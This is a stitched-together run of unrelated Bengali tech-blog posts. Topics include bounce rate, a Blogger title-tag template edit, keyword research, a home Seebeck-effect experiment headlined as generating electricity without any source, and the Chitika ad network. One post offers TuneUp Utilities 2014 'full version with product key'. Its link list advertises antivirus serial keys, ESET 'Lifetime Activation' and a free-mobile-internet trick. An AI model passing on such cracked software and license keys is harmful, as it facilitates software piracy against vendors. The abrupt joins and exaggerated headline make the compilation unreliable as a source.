৫. সাইটে ভিজিটর গমন সহজতর না করা:
আপনার সাইটে ভিজিটরগণ যেন সহজে নেভিগেট করতে পারে এ বিষয়টি খেয়াল রাখতে হবে। যেমন; আপনার সাইটে ফুটারে টপ পেজের লিঙ্ক দেওয়া যেন ভিজিটর এক ক্লিকেই পেজের উপরে ফিরে যেতে পারে। এছাড়াও আপনার সাইটে লোড হওয়ার পূর্বে যদি কোন স্প্ল্যাশ পেজ প্রদর্শন করে তাহলেও বেশিরভাগ ক্ষেত্রে আপনার সাইটের ভিজিটর ফিরে যাবে। সুতরাং বাউন্স রেট কমাতে হলে এসব স্প্ল্যাশ পেজ পরিহার করতে হবে যেন ভিজিটর সহজে আপনার সাইটে আসতে পারে।
৬. সাইটে ভিজিটরদের অংশগ্রহনের জন্য কোন অপশন না রাখা:
আপনার সাইটে এমন কিছু অপশন রাখবেন যেন সেখানে পাঠকেরা অংশগ্রহন করতে পারে এবং আলোচনার ঝড় তুলতে পারে। সর্বোপরি আপনার সাইটের ভিজিটরদের অংশগ্রহন নিশ্চিত করতে হবে। তাহলে ভিজিটর আপনার সাইটের প্রতি আকৃষ্ট হবে এবং আপনার সাইটে বেশি সময় কাটাবে। ফলে আপনার সাইটের বাউন্স রেটের হার কমে যাবে।
৭. ওয়েবসাইটে বিজ্ঞাপনের আধিক্য থাকা:
আপনি খেয়াল রাখবেন আপনার সাইটে যেন অতিরিক্ত বিজ্ঞাপন না থাকে। যেন এমন না হয় বিজ্ঞাপনের কারণে আপনার সাইটের মূল পোস্টই দৃষ্টি এড়িয়ে যায়। তাহলে ভিজিটরগণ আপনার সাইটে আসাটাকে স্বাভাবিকভাবেই সময় নষ্ট হিসাবে বিবেচনা করবে। সুতরাং আপনার সাইটের বাউন্স রেট কমাতে হলে অতিরিক্ত বিজ্ঞাপন প্রদর্শন থেকে বিরত থাকতে হবে।
৮. পাঠকের জন্য নয় বরং সার্চ ইঞ্জিনের জন্য পোস্ট করা:
এটা একটা বড় ধরনের ভুল। কেউ যদি এসইও এর কথা চিন্তা করে কোন পোস্ট লিখতে গিয়ে অতিরিক্ত কীওয়ার্ড ব্যবহার করে তাহলে সেটি ভিজিটরদের কাছেও যেমন অখাদ্যে পরিণত হবে তেমনি সার্চ ইঞ্জিনের কাছেও স্প্যাম হিসাবে বিবেচিত হবে। সুতরাং আপনার সাইটে ভিজিটর ধরে রাখার জন্য তথা সাইটের বাউন্স রেট কমানোর জন্য আপনাকে অতিরিক্ত কীওয়ার্ড পরিহার করে সুন্দরভাবে পোস্ট লিখতে হবে।
উপরোক্ত বিষয়গুলো সঠিকভাবে অনুসরণ করতে পারলে আপনি আপনার সাইটের বাউন্স রেট কমাতে পারবেন আশা করি।
:arrow: পুর্ব প্রকাশঃ http://hrcomputerbd.com/bn/

সাধারন একটি SEO টিপস ব্লগার ব্লগ এর জন্য । কাজে লাগবে সময় করে দেখুন ।

আপনাদের কাছে প্রশ্ন টিপস টি আসালে কি । বন্ধুরা আপনার লক্ষ করবেন আপনার ব্লগকে আপনি যখুন সার্চ ইঞ্জিনে সার্চ করবেন তখুন আপনার ব্লগ এর টাইটেল আগে দ্যাখাবে এবং  মূল বিষয় টিকে ঠিক তার পরে । আজকে আমি আপনাদের দ্যাখাবো এটা পরিবর্তন করার যাই মানে টাইটেল টিকে পরে করার যাই । আশাকরি বুজতে পারলেন যদি না পারেন তাহলে নীচের ফটোতে দেখে নিন ।



* আশাকরি জিনিসটি কি এবং এটা কতটা দরকার বুজতে পারলেন । তাহলে আর দেরি না করে নীচে থেকে দেখে নিন ।

কিভাবে এটিকে পরিবর্তন করবেন নীচে দেখুন !


১ ) আপনার ব্লগ লগ ইন করুন ড্যাশবোর্ড থেকে Template এ ক্লিক করে Edit HTML এ ক্লিক করুন । 
 
২) এবার আপনার কি বোর্ড থেকে Ctrl+F প্রেস করে নীচের কোডটি খুজে বের করুন । 
<title><data:blog.pageTitle/></title>
৩) উপরের কোডটি খুজে পেলে নীচের কোডটি সেখানে বসিয়ে দিন ।
<!-- Start http://www.asobondhu.blogspot.com : Optimizing Trick  -->
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<title><data:blog.pageName/> | <data:blog.title/></title>
<b:else/>
<title><data:blog.pageTitle/></title>
</b:if>
<!-- End http://www.asobondhu.blogspot.com : Optimizing Trick  -->
৪) এবার Save template এ ক্লিক করে সেভ করে নিন ।নোটঃ  যদি <title><data:blog.pageTitle/></title> কোডটি খুজে না পান তাহলে <head> এই কোডটি খুজে বের করুন তারপর <head> এর নীচে উপরের কোডটি কপি করে পেস্ট করে দিন ।
* আশাকরি আপনাদের বুজতে কোন সমস্যা হলনা । যদি কোন সমস্যা হয় আমাকে জানাবেন আমি হেল্প করতে চেষ্টা করবো ।* তাহলে আজকের মতো এই পর্যন্ত ভাল থাকবেন । আল্লাহ্‌ হাফেজ ।
* পোস্ট টি আমার দ্বারা পূর্বে প্রকাশিত এখানে সময় করে ঘুরে আসুন । 
* এই ধরনের ব্লগার এর নতুন নতুন পোস্ট পেতে ঘুরে আসুন এখান থেকে । আমার ফেসবুক পেজ এখানে

নতুনরা এবার ভিডিও টিউটোরিয়াল এ দেখে নিন এসইও তে কিভাবে Robots.txt ফাইল ব্যবহার করবেন? তিনটি উপায়ই দেখানো হয়েছে।

আসসালামু আলাইকুম। আশা করি সবাই ভাল আছেন। আমিও আলহামদুলিল্লাহ্‌ ভাল আছি। এসইও এর কাজ করে অনলাইন থেকে আয় করছেন এমন লোকের সংখ্যা দিন দিন বেড়েও চলেছে। আসলে অনলাইনের প্রত্যেকটি বিভাগের এসইও এর জ্ঞান থাকা আবশ্যক। আর এই এসইও এর একটি অতি গুরুত্বপূর্ণ বিষয় হচ্ছে Robots.txt ফাইলের ব্যবহার। আপনাদের কথা বিবেচনা করেই আইটি বাড়ি তাদের প্রিমিয়াম ভিডিও থেকে এই ফাইলটি উন্মুক্ত করেছে। দেখে নিন কিভাবে রুবট ফাইল তৈরি এবং ব্যাবহার করবেনে।
চলুন দেখে নিই রুবট.টিএক্সটি ফাইল ক্রিয়েশান এন্ড ইউজেসঃ
ভিডিওটি দেখতে পাবেন এখানে - http://www.youtube.com/watch?v=ZJK4tt_nYpI
নিজে দেখুন এবং অপরের সাথে শেয়ার করুন।
আমাদের ভিডিওগুলোর নিয়মিত আপডেট পেতে আজই আমাদের গ্রুপে যোগ দিন। এখানে ক্লিক করুন । 

কীওয়ার্ড রিসার্চ নিয়ে পরিপূর্ণ একটি গাইডলাইন

এসইও কাজের সবচাইতে জটিল কিন্তু সবচাইতে গুরুত্বপূর্ণ বিষয় হচ্ছে কী-ওয়ার্ড রিসার্চ। ছোটবেলাতে পড়েছিলাম লক্ষ্য ছাড়া জীবন, মাঝি বিহীন নৌকার মতন। তেমনি কীওয়ার্ড রিসার্চ ছাড়া এসইও শুরু করলে মাঝপথে মাঝি ছাড়া নৌকার মতই অবস্থা হবে। কীওয়ার্ড রিসার্চ ছাড়া এসইও শুরু করা যায়না। অন্যভাবে বলা যায়, কীওয়ার্ড রিসার্চ এসইও কাজের ৪০% কমপ্লিট করে দেয়। আমি যদি না বুঝি কেন ওয়েবসাইটটি তৈরি করা কিংবা আমার প্রডাক্টের ক্রেতা কারা, এগুলো জানা না থাকলে কিভাবে এসইও করা যাবে? সেজন্যই ওয়েবসাইটের প্রতিটি কনটেন্ট, গেস্ট পোস্টের প্রতিটা আর্টিকেল এমনকি প্রতিটি পোস্টের টাইটেল লিখার জন্য আমাকে প্রথমে কীওয়ার্ড রিসার্চের ফলাফল জানা দরকার।

 কেন কীওয়ার্ড রিসার্চ করা জরুরী?

সংক্ষেপে উত্তর দিতে চাইলে বলতে পারি, আপনি যেই সেবা কিংবা পণ্যের ব্যবসার জন্য ওয়েবসাইটটি তৈরি করেছেন, সেই সেবা নেয়ার সম্ভাব্য ক্রেতাকে আপনার ওয়েবসাইটে নিয়ে ­আসা। আমি যদি ব্যাপারটাকে লোকাল কোন ব্যবসার সাথে তুলনা করে বুঝাতে চেষ্টা করি, তাহলে সবার জন্য বুঝতে সহজ হবে।
শুরু করা যাক, ক্রিয়েটিভ আইটি ইনস্টিটিউট একটি আইটি ট্রেনিং সেন্টার। এখন আপনি যদি এটা জেনে সবার কাছে প্রচার শুরু করে দিলেন ক্রিয়েটিভ আইটিতে আইটি বিষয়ক প্রশিক্ষণ দেয়া হয়, তাহলে দেখা যাবে নেটওয়ার্কিং কোর্স কিংবা এমএসওয়ার্ড করার জন্যও প্রচুর লোক অফিসে আসবে। কিন্তু এ কোর্সগুলো ক্রিয়েটিভ আইটিতে করানো হয়না। তার মানে আমার অফিসে প্রচুর ফোন কল ‍কিংবা প্রচুর মানুষ কোর্স করার জন্য হয়ত অফিসে আসল। কিন্তু আমার লাভ খুব বেশি হলনা। বরং যারা আসছে তাদের সাথে কথা বলতে গিয়ে প্রচুর সময় আমাকে নষ্ট করতে হয়েছে। অন্যদিকে আপনি যদি স্পেসিফিকভাবে প্রচার করতেন, এখানে গ্রাফিকস, ওয়েবডিজাইন এবং এসইওর উপর কোর্স করানো হয়। তাহলে একদম স্পেসিফিক লোকজন মানে যারা এই কোর্সগুলো করতে চায়, তারাই শুধু অফিস ভিজিট করত। সেখান থেকে বেশিরভাগেরই কোর্সে ভর্তির সম্ভাবনা থাকত।
ঠিক একইভাবে এবং একই প্রয়োজনে ওয়েবসাইটের এসইও করার জন্য কীওয়ার্ড রিসার্চের মাধ্যমে সঠিক কী-ওয়ার্ডটি বাছাই করে কাজ শুরু করা উচিত। সঠিকভাবে কীওয়ার্ড রিসার্চ না করে কাজ করলে ৩টি প্রধান সমস্যাতে পড়বেন।
  • হয়ত আপনি প্রচুর এসইও করছেন কিন্তু কোন রেজাল্ট পাবেননা কিংবা রেজাল্ট পেতে অনেক সময় লেগে যাবে।
  • হতে পারে, গুগলের সার্চের প্রথম পেজে আপনার ওয়েবসাইট কিন্তু আপনার ওয়েবসাইটের ভিজিটর তারপরও আশানরুপ না।
  • আবার হয়ত প্রচুর ভিজিটর পাচ্ছেন কিন্তু একজনও আপনার পণ্য হয়ত কিনছেনা।
উপরের তিনটি সমস্যার যেকোনটিতে পড়তে না চাইলে সর্বোচ্চ সঠিকভাবে কীওয়ার্ড রিসার্চ করা দরকার।

 এসইওর কাজে কীওয়ার্ড রিসার্চের মূল ধাপগুলো

এসইওর কাজে কীওয়ার্ড রিসাচের কাজ  ৩টি ধাপে হয়ে থাকে।
প্রথমত, প্রাথমিকভাবে আপনাকে ধারনা করে বের করতে হবে, কোন কোন কীওয়ার্ড দিয়ে মানুষ আপনার পণ্য সার্চ দিতে পারে।
দ্বিতীয়ত, যে কীওয়ার্ডটি প্রাথমিকভাবে আপনি ধারণা করে বের করেছেন, সেটি নিয়ে কাজ করতে গেলে আপনাকে কিরকম প্রতিযোগীতাতে পড়তে হবে, সেটি খুজে বের করতে হবে।
তৃতীয়ত,  কি পরিমাণ ভিজিটর এ কীওয়ার্ডটি দিয়ে প্রতিদিন সার্চ করে, সেটির একটি ধারণা আপনাকে পেতে হবে।

সার্চের রকমভেদ- এবার সার্চারদের মগজের ভিতরে নিয়ে যাব

কীওয়ার্ড রিসার্চের পদ্ধতি জানানোর আগে বিভিন্ন রকম সার্চ সম্পর্কে জানাটা খুব জরুরী। কোন ভিজিটর কিরকমভাবে সার্চ দেয় সেটি জানা না থাকলে কীওয়ার্ড রিসার্চ করার কাজটা খুব ভালভাবে সম্পন্ন করা যাবেনা। সেজন্য চলেন এবার একজন সার্চকারীর মগজের ভিতর থেকে আপনাদেরকে ঘুরিয়ে নিয়ে আসি।
সার্চিংয়ের বিষয়ের দৈর্ঘ্য
 একেক রকম ভিজিটর একেক রকমভাবে তার প্রয়োজনীয় বিষয় সার্চ দিয়ে থাকে।
-১ কিংবা ২টি কীওয়ার্ডঃ সাধারণত দেখা যায়, ছোট কীওয়ার্ডে প্রচুর ট্রাফিক পাওয়া যায় কিন্তু সেই ট্রাফিক হয় লোকোয়ালিটির।
- ৩ শব্দের কিংবা তার চাইতে বেশি শব্দের কীওয়ার্ডঃ লম্বা কীওয়ার্ডের মাধ্যমে ওয়েবসাইটে ভিজিটর তেমন বেশি আছেনা কিন্তু যা ভিজিটর আসে তারা বেশিরভাগ ক্ষেত্রেই হাইকোয়ালিটি সম্পন্ন হয়।
উল্লেখ্য, ভিজিটর বা ট্রাফিক কোয়ালিটি বলতে টার্গেটেড ট্রাফিককে বোঝায়, যাদের মধ্য থেকে আপনার পণ্যের ক্রেতা হওয়ার সম্ভাবনা বেশি। যতবেশি টার্গেটেড ভিজিটর আসবে ততবেশি আপনার ওয়েবসাইট থেকে আয় বেড়ে যাবে।
শর্ট কীওয়ার্ডের মাধ্যমে ওয়েবসাইটে সাধারণত লোকোয়ালিটির ভিজিটর পাওয়া যায়। কারণ শর্ট কীওয়ার্ড খুব বেশি স্পেসিফিক হয়না। শুরুতে এ ব্যাপারে উদাহরণ দিয়েছিলাম। আইটি কোর্স দিয়ে সার্চ দিয়ে কেউ ক্রিয়েটিভ আইটিকে পেলে সেটাতে ভিজিটর পাওয়া যাবে অনেক, কিন্তু সেগুলো দিয়ে কোন উপকার হবেনা।
লং কীওয়ার্ড দিয়ে ভিজিটর কম আসবে কিন্তু যারা আসবে তাদের বেশিরভাগ আপনার সম্ভাব্য ক্লায়েন্ট হবে। যেমনঃ graphic design in Bangladesh সার্চ দিয়ে প্রাপ্ত গুগল সার্চ রেজাল্টে ক্লিক করে যারা আপনার ওয়েবসাইটে ঢুকবে, তাদের মধ্যে বেশিরভাগই গ্রাফিকস কোর্স করার জন্যই ভাল ট্রেনিং সেন্টার খুজছিল। সুতরাং তাদের মধ্য থেকেই আপনার স্টুডেন্ট পাওয়ার সম্ভাবনা বেশি থাকবে।
সুখবর হচ্ছে, সুপার স্পেসিফিক লং কীওয়ার্ডে কম্পিটিশন কম থাকে, সেজন্য গুগলের সার্চে টপে খুব সহজেই আপনার ওয়েবসাইটকে নিয়ে আসতে পারবেন আর খারাপ খবর হচ্ছে এধরনের কীওয়ার্ড দিয়ে আপনার ওয়েবসাইটে  ভিজিটর সংখ্যা তেমন বেশি হবেনা। অর্থাৎ যদি কোম্পানীর ব্যবসার বৃদ্ধির জন্য এসইও করে থাকেন তাহলে লং কীওয়ার্ড নিয়ে এসইও করতে হবে। আর যদি এডসেন্স দিয়ে আয় করার পরিকল্পনা থাকে, তাহলে শর্ট কীওয়ার্ড নিয়ে কাজ করতে পারেন। যত ভিজিটর তত আয়।

সার্চের বিষয়ঃ

এবার সার্চের বিষয় থেকে প্রয়োজনীয় ক্লায়েন্টকে বোঝার চেষ্টা করি। সেজন্য আপনাকে আগে আপনার পন্যকে খোজে পাওয়ার জন্য একজন ভিজিটর কিভাবে খোজ করতে পারে সেটা আগে ভেবে বের করা দরকার। এরকম সঠিকভাবে ভেবে বের করা অবশ্যই কঠিন জানি, কিন্তু সেটা করতে না পারলে সফল হতে পারবেননা।
ধরি আমি মোবাইল বিক্রি করার জন্য একটি ওয়েবসাইট বানিয়েছি। সুতরাং ওয়েবসাইটটি তৈরির উদ্দেশ্য মোবাইল বিক্রি। তার মানে যারা মোবাইল বিক্রি কিনার জন্য গুগলে সার্চ দিবে তারা অবশ্যই লিখবে, buy nokia mobile or price of nokia mobile ইত্যাদি এরকম কিছু। এটা সার্চ দিয়ে যারা আমার ওয়েবসাইটে ভিজিট করবে তারাই মোবাইলের প্রকৃত ক্রেতা।
সুতরাং এবার একটু ব্রেন খাটিয়ে কিছু ধারনা করি । আমার সম্ভাব্য ক্রেতারা সার্চ করার সময় যে যে শব্দগুলো ব্যবহার করার সর্বোচ্চ সম্ভাবনা আছে সেগুলো হলোঃ
Buy, prices, compare, best, review, gift, cheap, delivery.
এবার অন্যদিকে যদি অন্য একটি লিস্ট করি অর্থাৎ কোন কোন শব্দগুলো ব্যবহার করে আসা ভিজিটর আমার পণ্য জীবনও কিনবেনা বরং এসে যখন বুঝবে এটা বিক্রির জায়গা তারা তাড়াতাড়ি ওয়েবসাইট থেকে চলে যাবে। সেই ধরনের ভিজিটরদের সার্চ করার সময় ব্যবহৃত শব্দগুলোর লিস্ট করি।
  • jobs, free, tips, competition, contact, complain, news, magazine, girls, youtube.
যে ফ্রি শব্দটি ব্যবহার করে তার সার্চের বাক্যটি খুজবে, অর্থাৎ free mobile  তারা আমার ওয়েবসাইটে এসে যখন দেখবে এটি বিক্রির জায়গা, ফ্রি কিছু এখানে এসে পাবেনা, তারা ওয়েবসাইট ত্যাগ করবে খুব দ্রুত।
এবার আরেকটি গুরুত্বপূর্ণ কথা বলা জরুরী, না হলে ভুলের জন্য আমাকে গালাগালি করতে পারেন। আমরা ধারনা অনুযায়ি, যে যে শব্দগুলো আমরা ঠিক করলাম, এ শব্দদিয়েই আমার মোবাইলের ক্রেতারা সার্চ করবে ভেবে ভাবলাম,  সেগুলো ১০০% হয়তোবা মিলবেনা। মানুষের মনের ব্যপারে ১০০% ধারণা কখনওই করা সম্ভবনা। সেজন্য সাবধানতার জন্য এবং ভাল ফলাফলের জন্য ওয়েবসাইটের ভিজিটরদের মতিগতি বোঝার জন্য সার্বক্ষণিক চেকিংয়ের উপর থাকতে হবে। সেজন্য Google Analytics or Google Webmaster Tools এর সহযোগিতা নেয়া যেতে পারে। এই টুলসগুলো ব্যবহার করে বুঝতে হবে কোন কীওয়ার্ড দিয়ে মানুষ আমার ওয়েবসাইট বেশি ভিজিট করে, কোন দেশ থেকে বেশি ভিজিট করে। সেগুলো নিয়মিত দেখে ‍সকল প্লান আপডেট করতে হবে।
কিওয়ার্ড রিসার্চ করার পুরো প্রসেস টি পিডিএফ করে রাখছি। পিডিএফ টি ডাউনলোড করার লিংকটি:  http://www.mediafire.com/?rkk034ykz9berhh
প্রশ্ন করার জন্য ফেসবুকগ্রুপে যোগাযোগ করুন: https://www.facebook.com/groups/creativeit/
সৌজন্যেঃ ক্রিয়েটিভ আইটি ইনস্টিটিউট

বিদ্যুতের কনো উৎস ছাড়াই বিদ্যুৎ উতপাদন করুন! আসেন দেখে যান ।

কেমন আছেন   !
আসা করি সবাই ভাল। আমি আজ অনেক দিন পর এলাম। হোক না দেরিতে তারপরো তো এলাম। চলেন আজ একটা নতুন জিনিস শিখাই। আগে তো আমি আপনাদেরকে দেখালাম লেবু দিয়ে আগুণ ধরান ! ভয় পাবেন না LED লাইটের আগুণ ! তারপর এবার আসুন আপনার NOKIA মোবাইল দিয়ে আগুন ধরিয়ে দেই ! কি ভয় পেলেন ! তারপর আগুন ! বরফ দিয়ে আগুন ধরান ? অবাক হবার কিছু নাই, আগুন ধরবেই। তারপর আলু দিয়ে আগুন ধরান ! কি ভয় পেলেন ! তাপর আরেকটা মজার পোষ্ট লিফটেরও দুটি চোখ আছে ! আসেন দেখে যান !  এত গুলা আগুনের পোষ্ট আজকে না হয় আবার আগুন দিয়ে শুরু করি ।  আমি  যখন HSC তে পড়তাম তখন আমি এই পোস্টটার প্রেক্টিকাল করে ছিলাম । আমি কখনোই মুখস্ত করে পড়ার পক্ষে ছিলাম না। আমি সব সময় প্র্যাকটিস করে দেখার ট্রাই করতাম। তো একদিন ভাবলাম seebeck effect এর প্রাকটিসটা তো ইজি । করে দেখতে পারি। তখন একটু  নেটেও ঘাটাইলাম। তারপর প্রাকটিকালটা করলাম।সীবেক ক্রিয়া এর সংজ্ঞা ছিল ঃ ভিন্ন ধাতুর তৈরি দুটি তারের প্রান্ত পরস্পর সংযোগত করে বর্তনি তৈরি করে সংযোগস্তল দুটিকে ভিন্ন তাপমত্রায় রাখলে উস্নতার পার্থক্যের কারনে একটি তড়িৎ চালক শক্তির উদ্ভব হবে, এবং বর্তনিতে তড়িৎ প্রবাহের সৃষ্টি হবে, এই ক্রিয়াকে সীবেক ক্রিয়া বলে।{তপন সার এর বইয়ের সংজ্ঞা ,হুবহু না হলেও মোটামুটি এমন সংজ্ঞাটা। আমার এক ফ্রেন্ড কে বললাম মাসেজ করে দিতে সে দিলো। উল্লেখ্য যে আমি আমার দোকানে বসে বসে পোষ্টটা করতেছি} এই সংজ্ঞা থেকে কেউ কিচ্ছু বুচ্ছেন ? কচু টাইপের সংজ্ঞা (আমি অবজ্ঞা করতেছিনা, জাস্ট ফান করলাম)।আমি একটা সংজ্ঞা বানাইছিলামঃ ভিন্ন ধাতুর দুটি তারকে পরস্পর সংযোগ করলে এবং এদের যে কোন প্রান্তে আগুন বা বরফ দিলে কারেন্ট এর সৃষ্টি হয়, একে সীবেক ক্রিয়া বলে। {আমার শঙ্গাটা কেমন হলো ! আমারটাও লোতা টাইপের সংজ্ঞা । কচু আর লতা কেউ কেউ চিনলেও অনেকেই চিনবেনা । হা হা হা (emo খুজে পাইতছিনা ! তাই দিলাম না )} ।  আমাদের সারেরা প্রেক্টিকাল করাইলে ভাল হতো।
প্রথমে কি করতে হবে জানেন ?

যা যা লাগবে

১। কপার এর তার
২। জিঙ্ক এর তার
যে কনো দুই ধরনের তার হতে হবে ।
৩। বরফ বা আগুন ।
৪। একটা voltmeter (যদি থাকে , না থাকলে করজ করে আনবেন)

এখন আমাদের কাজ শুরু করি
প্রথমে তার দুইটা তাতাল দিয়ে সংযোগ দিবেন । অথবা পেচিয়ে দিবেন ।
অথবা কয়েল বানাইতে পারেন, কয়েল এর মতো বানাইলে রিজাল্ট ভাল পাবেন।
এখন এই তার দুইটার সাথে ভোল্টমিটারের সংযোগ দিন। এবার  যে কনো এক প্রান্তে আগুন ধরিয়ে কয়েক সেকেন্ড রাখেন, অথবা বরফ লাগিয়ে রাখেন দেখবেন ভোল্টমিটারের কাটা ঘুরে যাবে ।নিছের পিক দেখেন।
{কাটার দিকে লক্ষ করেন}

{কাটার দিকে লক্ষ করেন}

{কাটার দিকে লক্ষ করেন}

রিজাল্ট আরো ভাল পাওার জন্য আপনি আরেকটা কাজ করতে পারেন। এই কয়েল বা তারের সাথে একটা ভাল মানের চুম্বক সংযোগ করে দিয়েন । একটা কলমের সাথে তার পেচিয়ে গোল করবেন, তার পর অই কলম টেনে বের করে নিবেন। এখন অই গোল কয়েলের আগে পিছে  চুম্বক লাগান তার পর বের হওয়া অংসের সাথে ভিন্ন ধাতুর তার যোগ করেন। মানে যে ধাতু দিয়ে কয়েল তৈরি করছেন এটা ছাড়া ভিন্নটা দিয়ে।এখন অই খানে যে দুই অংশ বেরিয়ে থাকবে তাতে লাইট এর দুই প্রান্তের সংযোগ স্থাপন করেন । দেখবেন লাইট জ্বলে উঠবে । নিচে পিক দিলাম । দেখেন। কনো question থাকলে তো আমি আছিই । প্রয়জনে আমি "ফাইচবুক"এ আছি ।

নিজেদের "ফাইচবুক"এ লিঙ্কটা সেয়ার কইরেন। আপাততো এখানেই বিদায়।

আমার আরও টিউনসঃ

TuneUp Utilities 2014 ফুল ভার্সন – সাথে প্রোডাক্ট কী । আপনার পিসিকে করবে গতিময়

আসসালামু ওয়ালাইকুম। সবাইকে জানাই আমার প্রাণঢালা শুভেচ্ছা। পরীক্ষার পর খুবই ব্যস্ত হয়ে পড়েছি। ব্যস্ততার কারনে টিউন করা হয়ে উঠছে না। কিন্তু নাড়ির টান কি আটকে রাখা যায়। তাই আবার ও ফিরে এলাম। আজ আপনাদের জন্য নিয়ে আসেছি আপনার পিসির পারফরমেন্স বাড়িয়ে দেয়ার এক চমৎকার সফটওয়্যার Tune Up Utility 2014.

আজকে আমি আপনাদের সাথে শেয়ার করব এমন একটি সফটওয়্যার যা সকলেই ভালো করে চিনেন ।
এর নাম Tuneup Utilities এটির কাজ অনেক তুচ্ছ মনে হতে পারে ।  এই সফটওয়্যার টি যে ব্যাবহার করেছেন সুধু সেই বলতে পারবেন এটি যে কি কাজের।
আমি আর নতুন কি বলব।  তবে এটা জেনে রাখা ভালো। আপনার PC যত রকম প্রবলেম  তৈরি করে মোটামোটি ভাবে সব গোলাই নিয়ন্ত্রণ করে নেয় তার জন্য আপনাকে শুধু এই সফটওয়্যার টি ব্যাবহার করতে হবে এটি ব্যাবহার করা তেমন কঠিন না। শুধু ইন্সটল করে ব্যাবহার করুন।




এখানে এই সফটওয়্যারটি  Download করুন  এবং সিরিয়াল কী নিন ।

You may also like -


>>সবগুলো অ্যান্টিভাইরাস এর সিরিয়াল ও লাইসেন্স কী এক জায়গায়

>> কিভাবে একটি ওয়েবসাইট চালু করবেন ?

>>TuneUp Utilities 2014 ফুল ভার্সন – সাথে প্রোডাক্ট কী । আপনার পিসিকে করবে গতিময়

>> Right click disable না করেই আপনার সাইট থেকে কপি করা ব্লক করুন

>> টাইম সিলেক্ট করে দিন – আপনার কম্পিউটার অটোমেটিক বন্ধ হবে

>> প্রক্সি সার্ভার এর লিস্ট – এবার আইপি হাইড করে ভিজিট করুন যে কোন ওয়েবসাইট এ ।

>> গ্রামীন ফোন এর ফ্রী ইন্টারনেট ব্যবহার করুন- উপভোগ করুন ফুল স্পীড ডাউনলোড

>> কিভাবে গুগল ক্রোম ডাউনলোড করবেন

>> ক্রেডিট কার্ড ছাড়াই কিভাবে Apple ID খুলবেন ।

>> ESET Smart Security 6 সাথে Lifetime Activation

>> বাংলাদেশের সব অপারেটরে ফ্রী এস.এম.এস পাঠান

>> ৭ টি মন মুগ্ধকর ছবি- আপনার মনকে ভাল করার ক্ষুদ্র প্রয়াস


আমাদের আই.টি বিষয়ক নতুন ব্লগ সাইট

সবাই কেমন আছেন? আশা করি ভাল আছেন। আমরা তথ্য ও প্রযুক্তি (আই.টি) বিষয়ক একটি নতুন ব্লগ সাইট (সম্পূর্ণ বাংলায়) করেছি । Bangla Blog

এই সাইটের মাধ্যমে সবাই তথ্য ও প্রযুক্তির (আই.টি) জ্ঞান শেয়ার করতে পারবেন। এখানে আপনারা আই.টি বিষয়ক টিপস দিতে পারবেন। এই সাইটে বেসিক কম্পিউটার, ইলেক্ট্রনিক্স, ইন্টারনেট ইত্যাদি সহ অনেক বিভাগ রয়েছে। যেখানে আপনাদের আই.টি বিষয়ক যে কোন সমস্যার কথা এখানে লিখতে পারেন, এবং যাদের উক্ত সমস্যাটির সমাধান জানা আছে তারা সমাধানটি দিতে পারবে। ফলে আমাদের সকলের মধ্যে আই.টি জ্ঞানের বিস্তার ঘটবে। প্রিয় বন্ধু কম্পিউটার এর কোন সমস্যা আমরা নিজেরাই সমাধান করতে পারবো। এই ভাবে আমরা আই.টির জ্ঞান ও বাড়াতে পারবো। সাইটটি সম্পূর্ন বাংলাতে তৈরী করা। ফলে এর ব্যবহার অতি সহজেই যে কেউ বুঝতে পারবে। এই ব্যাপারে আপনাদের সাহায্য আমাদের একান্ত কাম্য। এর জন্য প্রথমে আপনাকে এই সাইটের সদস্য হতে হবে।
সদস্য মেনু এর নিচের সদস্য হোন বাটনে ক্লিক করে সদস্য তথ্যপ্রদান করে আপনি সদস্য হতে পারবেন।
আপনাদের সবাইকে আমাদের সাইটে আমন্ত্রন থাকলো। সবাইকে ধন্যবাদ।

সহজে ওয়েবসাইট থেকে আয়ের পথ চিটিকা (আডসেন্স এর সাথেও ব্যবহার করতে পারেন )

অনলাইনে বিজ্ঞাপন নেটওয়ার্ক গুলির মধ্যে চিতিকা একটি।যারা ওয়েবসাইট/ব্লোগ পরিচালনা করে থাকেন তাদের প্রথম পছন্দ গুগলের এডসেন্স।কিন্তু এডসেন্স এপ্রুভ না হওয়া,সামান্য ভুলেই ব্যান হয়ে যাওয়া ইত্যাদি কারনে অনেকেই এডসেন্স ব্যবহার করতে পারেন না।তাই তারা বিকল্প পথের সন্ধান করে থাকেন।সেই পথটিই হচ্ছে চিতিকা।যারা চিতিকা সম্পর্কে ভাল জানেন তারা একবাক্যে বলে থাকেন‌‌ ‘এডসেন্সের প্রধান বিকল্প chitika’
সত্যিই chitika এডসেন্সের প্রধান বিকল্প।আসুন জেনে নেই চিতিকা ব্যবহার করলে কি কি সুবিধা পাওয়া যাবে।
চিতিকা ডট কম(chitika.com) এর সুবিধাগুলি:
*তাদের এড তিন ধরনের টেক্ট,লিস্ট ও মোবাইল এড।
*চিতিকা এড সেটিংস থেকে মুলত টেক্ট/চিত্রভিত্তিক/টেক্ট ও চিত্রভিত্তিক তিনধরনের এড ব্যবহার করতে পারবেন।সাধারনত সিলভার মেম্বারদের জন্য টেক্ট এড বেশী দেখা যায়।
*চিতিকা টাকা দেয় ক্লিকপ্রতি অর্থাৎ ভিজিটর ক্লিক করলে টাকা পাবেন।
*চিতিকাতে দু-ধরনের মেম্বারশীপ হয়ে থাকে-সিলভার ও গোল্ড।আমেরিকার ভিজিটর বেশী হলে গোল্ড না হলে সিলভার।
*তাদের সদস্য হওয়া সবচেয়ে সোজা ওয়েবসাইট/ব্লোগ ভালভাবে তৈরি করুন,আট-দশটি পোস্ট রাখুন এবং তাদের সাইটে গিয়ে আবেদন করুন দেখবেন ২৪ ঘন্টায় তারা আপনাকে জানাবে তারা আপনাকে এপ্রুভ করেছে কিনা?
*তারা টাকা পাঠায় পে-পল অথবা চেক এর মাধ্যমে।পে-পলে নিম্নে দশ ডলার হলে উত্তোলন করা যায়।
*চিতিকা এবং এডসেন্স একই সাথে ব্যবহার করা যায়।কাজেই আপনার এডসেন্স থাকলেও আপনি ব্যবহার করতে পারবেন।
*চিতিকা মোবাইল এড চালু করেছে যার দৃষ্টান্ত খুবই কম।দিন যাচ্ছে মোবাইল ব্যবহারকারী বেড়েই চলেছে।
*তাদের এড সাইজ বিভিন্ন,এখানে পাবলিশাররা তাদের সুবিধামত এড সাইজ নির্বাচন করার সুবিধা পায়।
*চিতিকা আপনাকে দিচ্ছে রেফারেল আয়,তাই আপনার একসাথে দুই পাখি মারা হয়ে যাচ্ছে।
*তারা আপনার সাইটে সাথেসাথেই এড দেখাবে।
